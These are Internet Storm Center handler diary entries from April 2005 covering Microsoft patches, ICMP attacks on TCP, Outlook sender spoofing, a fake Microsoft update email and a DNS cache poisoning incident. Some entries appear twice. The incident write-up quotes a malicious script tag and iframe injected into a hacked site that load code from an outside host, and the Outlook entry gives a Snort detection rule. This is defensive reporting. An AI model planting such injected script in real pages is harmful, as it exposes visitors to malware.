In addition to addressing the vulnerabilities described above, Microsoft updated three previously-published security bulletins:
, and
. Additionally, Microsoft released an updated version of its today; the program now recognizes Hacker Defender, Mimail, and Rbot malware specimen families.
The update to the advisory (Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution) is relevant to
those who are applying the patch to Windows 98, 98SE, and ME; users of these platforms may need to re-apply the patch.
The update to the advisory (Vulnerability in PNG Processing Could Allow Remote Code Execution) reflects the availability of an updated version of Microsoft Windows Messenger version 4.7.0.2009 for Windows XP Service Pack 1.
The update to the advisory (Vulnerability in the License Logging Service Could Allow Code Execution) revises the "Mitigating Factors" section of the write-up to reflect new findings regarding Windows 2000 Server Service Pack 4 and points out the existence of the , which is relevant to users running Windows 2000 Server Service Pack 4.
Advisories published today by NISCC and other organizations document vulnerabilities in several vendors' implementations of the networking stack that may result in denial of service (DoS) attacks against the affected systems or devices. The vulnerabilities allow attackers to use crafted ICMP packets to perform a number of DoS attacks against TCP-based sessions. According to the Cisco advisory, "[s]uccessful attacks may cause connection resets or reduction of throughput in existing connections."
Microsoft's security bulletin and the associated patch addresses this problem. (It also corrects other, seemingly unrelated vulnerabilities.)
The Cisco advisory on the topic, which outlines what Cisco products are vulnerable and clarifies how to address the problem, is available at:
http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
The Juniper advisory that addresses these problems is available at the following URL (registration required):
https://www.juniper.net/alerts/viewalert.jsp?txtAlertNumber=PSN-2004-09-009
The NISCC advisory, which thoroughly documents this issue, is available at:
http://www.niscc.gov.uk/niscc/docs/al-20050412-00308.html
The vulnerability is explained in the IETF draft, authored by Fernando Gont and titled "ICMP attacks against TCP" at:
http://www.ietf.org/internet-drafts/draft-gont-tcpm-icmp-attacks-03.txt
Many thanks to all the handlers who contributed to the creation of today's write-up!
Lenny Zeltser
ISC Handler of the Day
http://www.zeltser.com
Security Updates from Microsoft; Multiple Vendors - ICMP Affecting TCP Sessions
Security Updates from Microsoft
As Microsoft pre-announced in the recent notice, the company released several security updates today, affecting Microsoft Windows, Office, Exchange, and MSN Messenger software. Microsoft classified five of these updates as "Critical" and three as "Important." Please note that a proof-of-concept exploit for at least one of these vulnerabilities (MS05-020) is already publicly available.
You can find general information about today's patches at the following URL:
http://www.microsoft.com/technet/security/bulletin/ms05-apr.mspx
Our team compiled the following technical summary of today's patch cluster. This was written by several people working in parallel, so please excuse the differences in style across the segments.
Bulletin Severity Impact Supercedes
MS05-016 Important Remote Code Execution MS05-008
MS05-017 Important Remote Code Execution N/A
MS05-018 Important Elevation of Privilege See Below***
MS05-019 Critical Remote Code Execution N/A
MS05-020 Critical Remote Code Execution MS05-014 (Exploit available)
MS05-021 Critical Remote Code Execution MS04-035 (Exchange W2K only)
MS05-022 Critical Remote Code Execution MS05-009
MS05-023 Critical Remote Code Execution MS03-050
***MS05-018 Supercedes the following:
Bulletin ID Windows 2000 XP SP1 XP SP 2 Windows Server 2003
MS03-013 Not Replaced Replaced N/A N/A
MS03-045 Replaced Not Replaced N/A Not Replaced
MS04-032 Not Replaced Not Replaced N/A Replaced
MS05-002 Replaced Replaced N/A Not Replaced
In addition to releasing new patches, Microsoft updated three of its previously-published security bulletins today, and a released a new version of its . These updates are described below as well.
We are using CVE numbers when referring to vulnerabilities in this document. Because the vulnerabilities are relatively recent, most of the CVE links lead to documents that don't currently provide any details. We've included these links for future cross-referencing purposes.
"Critical" Vulnerabilities
- Vulnerabilities in TCP/IP Could Allow Remote Code Execution and Denial of Service. This patch addresses several vulnerabilities in the implementation of the TCP/IP stack on Windows:
* IP Validation Vulnerability () - "Incomplete validation of IP Network Packets" is how Microsoft describes this vulnerability. The end result could be remote execution of code.
* ICMP Connection Reset Vulnerability () - A specially crafted ICMP packet could allow the attacker to reset existing TCP connections. This vulnerability does not allow for escalation of privileges.
* ICMP Path MTU Vulnerability () - A vulnerability exists in the Path Maximum Transmission Unit (PMTU) discovery process. The specially crafted packet could all an attacker to modify the MTU for all connections on a system. Setting the MTU to a very small number for have devastating effects creating a DoS for that system. No escalation of privileges or rights is gained by this exploit.
* TCP Connection Reset Vulnerability () - A specially crafted TCP packet could allow the attacker to reset existing TCP
connections. This vulnerability does not allow for escalation of privileges.
* Spoofed Connection Request Vulnerability () - This vulnerability describes the LAND attack where a specially crafted SYN Packet with the source IP and port being the same as the destination IP and port causes the system the think the packet came from itself and eat up the CPU time resulting in a DoS.
For more information about this vulnerability and the associated patch, see .
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based systems; and Windows 98, 98SE, and ME.
Special Note: In addition to the vulnerabilities listed below and their fixes, this patch also makes changes to the following: The default TCPWindowSize registry value has been changed on some operating systems (see ). A new MaxIcmpHostRoutes registry value has also been introduced to control ICMP Path MTU related behavior (see ).
- Cumulative Security Update for Internet Explorer. This aggregate patch addresses several vulnerabilities in Internet Explorer that could lead to remote code execution:
* DHTML Object Memory Corruption Vulnerability ()
* URL Parsing Memory Corruption Vulnerability ()
* Content Advisor Memory Corruption Vulnerability ()
Special note: A proof-of-concept exploit for this vulnerability is already publicly available from FrSIRT. The availability of the exploit is likely to increase the severity of this patch for most organizations.
Vulnerable: Internet Explorer 5.01 Service Pack 3 on Windows 2000 Service Pack 3; Internet Explorer 5.01 Service Pack 4 on Windows 2000 Service Pack 4; Internet Explorer 5.5 Service Pack 2 on Windows ME; Internet Explorer 6 Service Pack 1 on Windows 2000 Service Pack 3 and 4; Internet Explorer 6 Service Pack 1 on Windows XP Service Pack 1; Internet Explorer 6 Service Pack 1 on Windows 98, 98SE, and ME; Internet Explorer 6 Service Pack 1 on Windows XP 64-Bit Edition Service Pack 1 (Itanium); Internet Explorer 6 on Windows Server 2003; and Internet Explorer 6 on Microsoft Windows Server 2003 for Itanium-based systems and Windows XP 64-Bit Edition Version 2003 (Itanium).
For more information about this vulnerability and the associated patch, see .
- Vulnerability in Exchange Server Could Allow Remote Code Execution. This patch addresses the following buffer overflow in the SMTP service:
* Exchange Server Vulnerability () - The
service fails to handle SMTP extended verb requests. On Exchange 2000, if an attacker connects to an SMTP port (unauthenticated users will work) and issues a specially crafted extended verb request, this would allow an attacker to run the code of their choice as the SMTP service runs as Local System. On Exchange 2003, it's a little more difficult and requires the attacker to connect to the Exchange server with the authority of another Exchange server of that organization and then they can issue the same specially crafted extended verb request. Exchange 2003 requires the user authenticating to authenticate as an account in Exchange Enterprise Servers or Exchange Domain Servers groups.
Vulnerable: Microsoft Exchange 2000 Server Service Pack 3; Microsoft Exchange Server 2003; and Microsoft Exchange Server 2003 Service Pack 1.
For more information about this vulnerability and the associated patch, see .
- Vulnerability in MSN Messenger Could Lead to Remote Code Execution. This patch addresses a buffer overflow condition in the parsing of GIF images by MSN Messenger, which may result in remote exploitation:
* MSN Messenger Vulnerability ()
Vulnerable: MSN Messenger 6.2 and 7.0 beta. MSN Messenger 4.7 and 5.0 are not listed, but may be presumed vulnerable. Not Vulnerable: MSN Messenger 7.0. Unknown: Windows Messenger. Mitigations: Don't accept IMs from people you don't know.
Special Note: This bulletin is listed as an update to the previously-published advisory, and appears to be related to the same sort of problems in libpng that were discussed in MS05-009; however, this is a problem with the parsing of GIF images instead of TIFF and PNG. Although this bulletin is listed as an update to MS05-009, it does not supercede MS05-009.
For more information about this vulnerability and the associated patch, see .
- Vulnerabilities in Microsoft Word May Lead to Remote Code Execution. This patch addresses several vulnerabilities that could result in remote code execution and privilege elevation:
* Buffer Overrun in Microsoft Word () - An attacker can cause a DoS condition and, potentially, could execute arbitrary code by crafting contents of a .doc file.
* Buffer Overrun in Microsoft Word ()<br
Vulnerable: Microsoft Word 2000 and 2002; Microsoft Office Word 2003; Microsoft Works Suite 2001, 2002, 2003, and 2004.
For more information about this vulnerability and the associated patch, see .
"Important" Vulnerabilities
- Vulnerability in Windows Shell that Could Allow Remote Code Execution. This patch addresses a vulnerability that seems to be tied to the way Windows Shell processes .hta files:
* Windows Shell Vulnerability ().
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based systems; and Windows 98, 98SE, and ME.
For more information about this vulnerability and the associated patch, see .
- Vulnerability in Message Queuing Could Allow Code Execution. This patch addresses the following vulnerability:
* Message Queuing Vulnerability (.
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1; Windows XP 64-Bit Edition Service Pack 1 (Itanium); and Windows 98 and 98SE.
For more information about this vulnerability and the associated patch, see .
- Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege and Denial of Service. This patch addresses several vulnerabilities:
* Font Vulnerability () - "A privilege elevation vulnerability exists in the way that Windows process certain fonts."
* Windows Kernel Vulnerability () - Could lead to privilege elevation.
* Object Management Vulnerability () - "A denial of service vulnerability exists that could allow an attacker to send a specially crafted request locally to" affected operating systems.
* CSRSS Vulnerability () - Could lead to privilege elevation.
Vulnerable: Windows 2000 Service Pack 3 and 4; Windows XP Service Pack 1 and 2; Windows XP 64-Bit Edition Service Pack 1 (Itanium); Windows XP 64-Bit Edition Version 2003 (Itanium); Windows Server 2003; Windows Server 2003 for Itanium-based Systems; and Windows 98, 98SE, and ME.
For more information about this vulnerability and the associated patch, see .
Updated Microsoft Security Bulletins and Software
In addition to addressing the vulnerabilities described above, Microsoft updated three previously-published security bulletins:
, and
. Additionally, Microsoft released an updated version of its today; the program now recognizes Hacker Defender, Mimail, and Rbot malware specimen families.
The update to the advisory (Vulnerability in Cursor and Icon Format Handling Could Allow Remote Code Execution) is relevant to
those who are applying the patch to Windows 98, 98SE, and ME; users of these platforms may need to re-apply the patch.
The update to the advisory (Vulnerability in PNG Processing Could Allow Remote Code Execution) reflects the availability of an updated version of Microsoft Windows Messenger version 4.7.0.2009 for Windows XP Service Pack 1.
The update to the advisory (Vulnerability in the License Logging Service Could Allow Code Execution) revises the "Mitigating Factors" section of the write-up to reflect new findings regarding Windows 2000 Server Service Pack 4 and points out the existence of the , which is relevant to users running Windows 2000 Server Service Pack 4.
Multiple Vendors Affected: ICMP Packets Causing DoS to TCP Sessions
Advisories published today by NISCC and other organizations document vulnerabilities in several vendors' implementations of the networking stack that may result in denial of service (DoS) attacks against the affected systems or devices. The vulnerabilities allow attackers to use crafted ICMP packets to perform a number of DoS attacks against TCP-based sessions. According to the Cisco advisory, "[s]uccessful attacks may cause connection resets or reduction of throughput in existing connections."
Microsoft's security bulletin and the associated patch addresses this problem. (It also corrects other, seemingly unrelated vulnerabilities.)
The Cisco advisory on the topic, which outlines what Cisco products are vulnerable and clarifies how to address the problem, is available at:
http://www.cisco.com/warp/public/707/cisco-sa-20050412-icmp.shtml
The Juniper advisory that addresses these problems is available at the following URL (registration required):
https://www.juniper.net/alerts/viewalert.jsp?txtAlertNumber=PSN-2004-09-009
The NISCC advisory, which thoroughly documents this issue, is available at:
http://www.niscc.gov.uk/niscc/docs/al-20050412-00308.html
The vulnerability is explained in the IETF draft, authored by Fernando Gont and titled "ICMP attacks against TCP" at:
http://www.ietf.org/internet-drafts/draft-gont-tcpm-icmp-attacks-03.txt
Many thanks to all the handlers who contributed to the creation of today's write-up!
Lenny Zeltser
ISC Handler of the Day
http://www.zeltser.com
0 Comments
Published: 2005-04-10
Upgrade BIND to the 9 series.
Select the 'Prevent DNS pollution' option in Microsoft DNS.
Have IDS in place and monitor your DNS.
31 March 2005.
A user types in www.intelliview.com and two browser windows popped up.
The correct web site briefly appeared, and then disappeared.
www.intelliview.com is a valid commercial software
development company who's web server was obviously modified
by someone not authorized to do so. Probably hacked.
Here is a code snippet found at the bottom of their web
page at the time:
-head--title-404 Not Found-/title--/head--body--script language="JavaScript" src="http://vparivalka.org/G7/anticheatsys.php?id=36381" type="text/JavaScript"--/script--h1-Not Found-/h1-The requested URL was not found on this server.-p-
-/body--/html--iframe src="http://www.web-search.la/" width=700 height=570--/iframe-
The two apparent browser windows that popped up were showing:
http:// find-it.web-search.la /
and
http:// www.lycos.la /
On top of that the anti-virus on the workstation was going
berserk. There had been numerous attempts to install malware
by one or more of the web servers that the workstation had been
redirected to. At this point it appeared as though the system
may have been already infected or the web browser had been hijacked.
The user closed all browser windows and tried the same web site
again. The correct web site did not appear at all, one of the two
invalid web sites would appear every time the user tried to
connect. The user had wanted to download their demo version.
nslookup on the Windows 2000 Workstation showed the following
results when queried:
C:\Documents and Settings\user>nslookup intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: intelliview.com
Address: 63.215.142.7
C:\Documents and Settings\user>nslookup www.intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: www.intelliview.com
Addresses: 205.162.201.11, 217.16.26.148
The DNS server was running Windows 2000, fully patched, with cache pollution
protection turned on. When the cache was flushed everything went back
to normal.
C:\Documents and Settings\cyber>nslookup www.intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: www.intelliview.com
Address: 63.215.142.7
C:\Documents and Settings\cyber>nslookup intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: intelliview.com
Address: 63.215.142.7
The next step was to clear the DNS cache again, and set up
a tcpdump listener to capture all DNS traffic between the
DNS server and the Internet.
Here is the culprit packet where the DNS cache poisoning
actually occurred:
From a totally different network an nsookup query to
the culprit DNS server provided the following results:
C:\>nslookup
Default Server: DNS.server
Address: 172.16.1.1
> server 218.38.13.108
Default Server: [218.38.13.108]
Address: 218.38.13.108
> www.cnn.com
Server: [218.38.13.108]
Address: 218.38.13.108
Name: www.cnn.com
Addresses: 205.162.201.11, 217.16.26.148
Any .com query to this DNS server would return the same results.
Again from a different network dig provided another interesting
set of answers:
; <<>> DiG 9.2.4 <<>> www.cnn.com @218.38.13.108
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59667
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;www.cnn.com. IN A
;; ANSWER SECTION:
www.cnn.com. 99999 IN A 205.162.201.11
www.cnn.com. 99999 IN A 217.16.26.148
;; AUTHORITY SECTION:
com. 99999 IN NS besthost.co.kr.
;; ADDITIONAL SECTION:
besthost.co.kr. 1800 IN A 218.38.13.108md
Note the rather interesting TTL.
This server responded as authoritative for ANY and ALL .coms
at the time.
1 April 2005
The same DNS server was still doing cache poisoning:
H:\>nslookup
Default Server: DNS.server
Address: 172.16.1.1
> server 218.38.13.108
Default Server: [218.38.13.108]
Address: 218.38.13.108
> www.google.com
Server: [218.38.13.108]
Address: 218.38.13.108
Name: www.google.com
Addresses: 216.55.185.46, 72.9.233.153
> www.cnn.com
Server: [218.38.13.108]
Address: 218.38.13.108
Name: www.cnn.com
Addresses: 72.9.233.153, 216.55.185.46
Containment, eradication, recovery, and lessons learned
to follow.
Conclusion:
DNS cache poisoning was in fact happening.
Surprise!
Other than that it has been a rather quiet day on the Internet today.
Cheers,
Adrien de Beaupré, handler of the day.
DNS cache poisoning, again.
Illustrating a particular DNS cache poisoning incident.
Preparation:
Upgrade BIND to the 9 series.
Select the 'Prevent DNS pollution' option in Microsoft DNS.
Have IDS in place and monitor your DNS.
Identification:
31 March 2005.
A user types in www.intelliview.com and two browser windows popped up.
The correct web site briefly appeared, and then disappeared.
www.intelliview.com is a valid commercial software
development company who's web server was obviously modified
by someone not authorized to do so. Probably hacked.
Here is a code snippet found at the bottom of their web
page at the time:
-head--title-404 Not Found-/title--/head--body--script language="JavaScript" src="http://vparivalka.org/G7/anticheatsys.php?id=36381" type="text/JavaScript"--/script--h1-Not Found-/h1-The requested URL was not found on this server.-p-
-/body--/html--iframe src="http://www.web-search.la/" width=700 height=570--/iframe-
The two apparent browser windows that popped up were showing:
http:// find-it.web-search.la /
and
http:// www.lycos.la /
On top of that the anti-virus on the workstation was going
berserk. There had been numerous attempts to install malware
by one or more of the web servers that the workstation had been
redirected to. At this point it appeared as though the system
may have been already infected or the web browser had been hijacked.
The user closed all browser windows and tried the same web site
again. The correct web site did not appear at all, one of the two
invalid web sites would appear every time the user tried to
connect. The user had wanted to download their demo version.
nslookup on the Windows 2000 Workstation showed the following
results when queried:
C:\Documents and Settings\user>nslookup intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: intelliview.com
Address: 63.215.142.7
C:\Documents and Settings\user>nslookup www.intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: www.intelliview.com
Addresses: 205.162.201.11, 217.16.26.148
The DNS server was running Windows 2000, fully patched, with cache pollution
protection turned on. When the cache was flushed everything went back
to normal.
C:\Documents and Settings\cyber>nslookup www.intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: www.intelliview.com
Address: 63.215.142.7
C:\Documents and Settings\cyber>nslookup intelliview.com
Server: black
Address: 10.0.0.1
Non-authoritative answer:
Name: intelliview.com
Address: 63.215.142.7
The next step was to clear the DNS cache again, and set up
a tcpdump listener to capture all DNS traffic between the
DNS server and the Internet.
Here is the culprit packet where the DNS cache poisoning
actually occurred:
Frame 92 (150 bytes on wire, 150 bytes captured)
Arrival Time: Mar 31, 2005 13:20:25.881726000
Time delta from previous packet: 0.000024000 seconds
Time since reference or first frame: 125.702602000 seconds
Frame Number: 92
Packet Length: 150 bytes
Capture Length: 150 bytes
Ethernet II, Src: 00:02:a5:64:e9:9b, Dst: 00:04:5a:73:d7:a6
Destination: 00:04:5a:73:d7:a6 (LinksysG_73:d7:a6)
Source: 00:02:a5:64:e9:9b (CompaqCo_64:e9:9b)
Type: IP (0x0800)
Internet Protocol, Src Addr: 172.16.1.1 (172.16.1.1), Dst Addr: 172.16.1.254 (172.16.1.254)
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x00 (DSCP 0x00: Default; ECN: 0x00)
0000 00.. = Differentiated Services Codepoint: Default (0x00)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 136
Identification: 0x0000 (0)
Flags: 0x04 (Don't Fragment)
0... = Reserved bit: Not set
.1.. = Don't fragment: Set
..0. = More fragments: Not set
Fragment offset: 0
Time to live: 64
Protocol: UDP (0x11)
Header checksum: 0xdf45 (correct)
Source: 172.16.1.1 (172.16.1.1)
Destination: 172.16.1.254 (172.16.1.254)
User Datagram Protocol, Src Port: domain (53), Dst Port: 30596 (30596)
Source port: domain (53)
Destination port: 30596 (30596)
Length: 116
Checksum: 0xc3a5 (correct)
Domain Name System (response)
Transaction ID: 0x13aa
Flags: 0x8180 (Standard query response, No error)
1... .... .... .... = Response: Message is a response
.000 0... .... .... = Opcode: Standard query (0)
.... .0.. .... .... = Authoritative: Server is not an authority for domain
.... ..0. .... .... = Truncated: Message is not truncated
.... ...1 .... .... = Recursion desired: Do query recursively
.... .... 1... .... = Recursion available: Server can do recursive queries
.... .... .0.. .... = Z: reserved (0)
.... .... ..0. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
.... .... .... 0000 = Reply code: No error (0)
Questions: 1
Answer RRs: 2
Authority RRs: 2
Additional RRs: 0
Queries
www.abx4.com: type A, class inet
Name: www.abx4.com
Type: Host address
Class: inet
Answers
www.abx4.com: type A, class inet, addr 205.162.201.11
Name: www.abx4.com
Type: Host address
Class: inet
Time to live: 6 minutes
Data length: 4
Addr: 205.162.201.11
www.abx4.com: type A, class inet, addr 217.16.26.148
Name: www.abx4.com
Type: Host address
Class: inet
Time to live: 6 minutes
Data length: 4
Addr: 217.16.26.148
Authoritative nameservers
abx4.com: type NS, class inet, ns ns1.take4look.com
Name: abx4.com
Type: Authoritative name server
Class: inet
Time to live: 1 day, 23 hours, 59 minutes, 58 seconds
Data length: 16
Name server: ns1.take4look.com
abx4.com: type NS, class inet, ns ns2.take4look.com
Name: abx4.com
Type: Authoritative name server
Class: inet
Time to live: 1 day, 23 hours, 59 minutes, 58 seconds
Data length: 6
Name server: ns2.take4look.com
0000 00 04 5a 73 d7 a6 00 02 a5 64 e9 9b 08 00 45 00 ..Zs.....d....E.
0010 00 88 00 00 40 00 40 11 df 45 ac 10 01 01 ac 10 ....@.@..E......
0020 01 fe 00 35 77 84 00 74 c3 a5 13 aa 81 80 00 01 ...5w..t........
0030 00 02 00 02 00 00 03 77 77 77 04 61 62 78 34 03 .......www.abx4.
0040 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 com.............
0050 01 68 00 04 cd a2 c9 0b c0 0c 00 01 00 01 00 00 .h..............
0060 01 68 00 04 d9 10 1a 94 c0 10 00 02 00 01 00 02 .h..............
0070 a2 fe 00 10 03 6e 73 31 09 74 61 6b 65 34 6c 6f .....ns1.take4lo
0080 6f 6b c0 15 c0 10 00 02 00 01 00 02 a2 fe 00 06 ok..............
0090 03 6e 73 32 c0 4e .ns2.N
From a totally different network an nsookup query to
the culprit DNS server provided the following results:
C:\>nslookup
Default Server: DNS.server
Address: 172.16.1.1
> server 218.38.13.108
Default Server: [218.38.13.108]
Address: 218.38.13.108
> www.cnn.com
Server: [218.38.13.108]
Address: 218.38.13.108
Name: www.cnn.com
Addresses: 205.162.201.11, 217.16.26.148
Any .com query to this DNS server would return the same results.
Again from a different network dig provided another interesting
set of answers:
; <<>> DiG 9.2.4 <<>> www.cnn.com @218.38.13.108
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59667
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 1, ADDITIONAL: 1
;; QUESTION SECTION:
;www.cnn.com. IN A
;; ANSWER SECTION:
www.cnn.com. 99999 IN A 205.162.201.11
www.cnn.com. 99999 IN A 217.16.26.148
;; AUTHORITY SECTION:
com. 99999 IN NS besthost.co.kr.
;; ADDITIONAL SECTION:
besthost.co.kr. 1800 IN A 218.38.13.108md
Note the rather interesting TTL.
This server responded as authoritative for ANY and ALL .coms
at the time.
1 April 2005
The same DNS server was still doing cache poisoning:
H:\>nslookup
Default Server: DNS.server
Address: 172.16.1.1
> server 218.38.13.108
Default Server: [218.38.13.108]
Address: 218.38.13.108
> www.google.com
Server: [218.38.13.108]
Address: 218.38.13.108
Name: www.google.com
Addresses: 216.55.185.46, 72.9.233.153
> www.cnn.com
Server: [218.38.13.108]
Address: 218.38.13.108
Name: www.cnn.com
Addresses: 72.9.233.153, 216.55.185.46
Containment, eradication, recovery, and lessons learned
to follow.
Conclusion:
DNS cache poisoning was in fact happening.
Surprise!
Other than that it has been a rather quiet day on the Internet today.
Cheers,
Adrien de Beaupré, handler of the day.
0 Comments
Published: 2005-04-09
The researchers at iDEFENSE have discovered an interesting little bug in the
Microsoft Outlook and Outlook WebAccess email client applications. If an
email is constructed so that the "From:" header contains multiple senders,
the Outlook clients will only display the first sender. Unfortunately, this
provides yet another way that Phishers can spoof the apparent sender of fraudulent
scam emails and make them seem more legitimate. [Of course, legitimate
organizations don't send emails that encourage you to click links to enter
personal data or to apply software updates to your system in the first place!]
To read more about the details, visit the
I've cobbled up a snort signature that might work for this too:
It was a pretty slow day here at the ISC, which means that most of our readers
were out enjoying the spring weather; at least those in the northern hemisphere
where it's actually springtime. In the traditional spirit of spring cleaning,
now is a great time to do some of those little tasks that many people tend to
put off until too late. Check your backups! Go on, try to restore some files.
Testing things before you need them is a great idea. If you don't have
backups, now is a great time to make some. Modern hard drives have large
capacities and are relatively inexpensive. A nice spring treat might be to get
yourself a new one, copy all your data to it, and put your old one in a nice
safe spot in the closet. You might also want to crawl under your desk and tap
the test button on your UPS, just to see if it still works. Also, blowing all
the dustbunnies out of your equipment is a wise move.
Outlook Client Vulnerability and Spring Cleaning
Outlook 'From' Header Spoofing
The researchers at iDEFENSE have discovered an interesting little bug in the
Microsoft Outlook and Outlook WebAccess email client applications. If an
email is constructed so that the "From:" header contains multiple senders,
the Outlook clients will only display the first sender. Unfortunately, this
provides yet another way that Phishers can spoof the apparent sender of fraudulent
scam emails and make them seem more legitimate. [Of course, legitimate
organizations don't send emails that encourage you to click links to enter
personal data or to apply software updates to your system in the first place!]
To read more about the details, visit the
I've cobbled up a snort signature that might work for this too:
alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (sid:2005040901; rev:1; \
msg:"[ISC] Possible MS Outlook email From forgery attempt"; \
content: "From|3a| "; nocase; \
pcre: "/[_\.\w\d]+@[_\.\w\d]+.*,.*[_\.\w\d]+@[_\.\w\d]+/imGR"; \
flow: to_server, established; )
Spring Cleaning
It was a pretty slow day here at the ISC, which means that most of our readers
were out enjoying the spring weather; at least those in the northern hemisphere
where it's actually springtime. In the traditional spirit of spring cleaning,
now is a great time to do some of those little tasks that many people tend to
put off until too late. Check your backups! Go on, try to restore some files.
Testing things before you need them is a great idea. If you don't have
backups, now is a great time to make some. Modern hard drives have large
capacities and are relatively inexpensive. A nice spring treat might be to get
yourself a new one, copy all your data to it, and put your old one in a nice
safe spot in the closet. You might also want to crawl under your desk and tap
the test button on your UPS, just to see if it still works. Also, blowing all
the dustbunnies out of your equipment is a wise move.
0 Comments
Published: 2005-04-08
You may have noticed that the InfoCon has returned to Green. We do this not because we think the DNS cache poisoning is solved, but due to that we now understand the issues and have clear things people should do to protect themselves. Here are the suggestions we have for you:
- add the right key to the registry on NT
http://isc.sans.org/diary.php?date=2005-04-07
(Note: Windows systems are not protected even with their magic registry entry IF they trust an upstream dns system that doesn't clear additional dns records from the answer to the query and site the article.
- upgrade to the right SP on W2K
- not forward to vulnerable windows DNS caches
- not forward to pre-BIND9 bind DNS caches
And a heads-up to ISP's and others running BIND4 and BIND8
- Please upgrade to BIND9 if you are likely to have people forwarding
to you with a MSFT DNS cache.
Thanks to Kyle, Swa, Eric and Donald for their input. You guys are awesome.
A heartfelt thanks to all of you who participated in the research and investigation on this issue. It is because of you and you willingness to assist that we are as successful as we are.
We have received a couple of inquiries regarding the unavailablity of Comcast. Apparently Comcast is experiencing problems nationwide due to an equipment update. This does not appear to have any connection to the DNS Cache Poisoning that we have been following over the last few days.
The Comcast technical problems should be resolved shortly and all will return to normal.
[Note: additional discussion of this issue is happening at
http://www.dslreports.com/forum/comcast"> http://www.dslreports.com/forum/comcast ]
With Microsoft Patch Tuesday looming on the horizon we thought it wise to alert everyone to a malicious email that is circulating the globe.
"A mass SPAM email has been sent out claiming to be from Microsoft. This email spoofs users into thinking that they must update their Windows software. Upon clicking on the link, users are forwarded to a fraudulent website. This website is hosted in Australia, and was up at the time of this alert."
http://www.websensesecuritylabs.com/alerts/alert.php?AlertID=163
When the link is clicked it installs a Trojan program. The Trojan program (Wupdate-20050401.exe) is installed and opens a backdoor to your computer.
This is a reminder to everyone, "Microsoft Does NOT Email Update Links".
Deb Hale
Handler on Duty
ISC returning to Green; Comcast Problems; Microsoft Update Spoof
Internet Storm Center Returning to Green
You may have noticed that the InfoCon has returned to Green. We do this not because we think the DNS cache poisoning is solved, but due to that we now understand the issues and have clear things people should do to protect themselves. Here are the suggestions we have for you:
- add the right key to the registry on NT
http://isc.sans.org/diary.php?date=2005-04-07
(Note: Windows systems are not protected even with their magic registry entry IF they trust an upstream dns system that doesn't clear additional dns records from the answer to the query and site the article.
- upgrade to the right SP on W2K
- not forward to vulnerable windows DNS caches
- not forward to pre-BIND9 bind DNS caches
And a heads-up to ISP's and others running BIND4 and BIND8
- Please upgrade to BIND9 if you are likely to have people forwarding
to you with a MSFT DNS cache.
Thanks to Kyle, Swa, Eric and Donald for their input. You guys are awesome.
A heartfelt thanks to all of you who participated in the research and investigation on this issue. It is because of you and you willingness to assist that we are as successful as we are.
Comcast Problems
We have received a couple of inquiries regarding the unavailablity of Comcast. Apparently Comcast is experiencing problems nationwide due to an equipment update. This does not appear to have any connection to the DNS Cache Poisoning that we have been following over the last few days.
The Comcast technical problems should be resolved shortly and all will return to normal.
[Note: additional discussion of this issue is happening at
http://www.dslreports.com/forum/comcast"> http://www.dslreports.com/forum/comcast ]
Microsoft Update Spoof
With Microsoft Patch Tuesday looming on the horizon we thought it wise to alert everyone to a malicious email that is circulating the globe.
"A mass SPAM email has been sent out claiming to be from Microsoft. This email spoofs users into thinking that they must update their Windows software. Upon clicking on the link, users are forwarded to a fraudulent website. This website is hosted in Australia, and was up at the time of this alert."
http://www.websensesecuritylabs.com/alerts/alert.php?AlertID=163
When the link is clicked it installs a Trojan program. The Trojan program (Wupdate-20050401.exe) is installed and opens a backdoor to your computer.
This is a reminder to everyone, "Microsoft Does NOT Email Update Links".
Deb Hale
Handler on Duty
0 Comments
Published: 2005-04-07
Microsoft has released advanced warning about the bulletins it will be releasing next Tuesday. http://www.microsoft.com/technet/security/bulletin/advance.mspx
* 5 Security Bulletins for Windows, maximum level Critical
* 1 Security Bulletin for Office, level Critical
* 1 Security Bulletin for MSN Messenger, level Critical
* 1 Security Bulletin for Exchange, level Critical
The InfoCon is currently set at yellow in response to the DNS cache poisoning issues that we have been reporting on for the last several days. We originally went to yellow because we were uncertain of the mechanisms that allowed seemingly "secure" systems to be vulnerable to this issue. Now that we have a better handle on the mechanisms, WE WANT TO GET THE ATTENTION OF ISPs AND ANY OTHERS WHO RUN DNS SERVERS THAT MAY ACT AS FORWARDS FOR DOWNSTREAM Microsoft DNS SYSTEMS. If you are running BIND, please consider updating to Version 9. Read on for more information...
We have received more technical details on the software configurations
that are vulnerable. Thanks to Microsoft for clarifying details on
Windows DNS and thanks to numerous others for reporting. We try to get
all the technical details right before publishing information on attacks
like this, but if we waited until we were 100% sure all the time, we
would never be able to notify the community when the attacks are
actually happening.
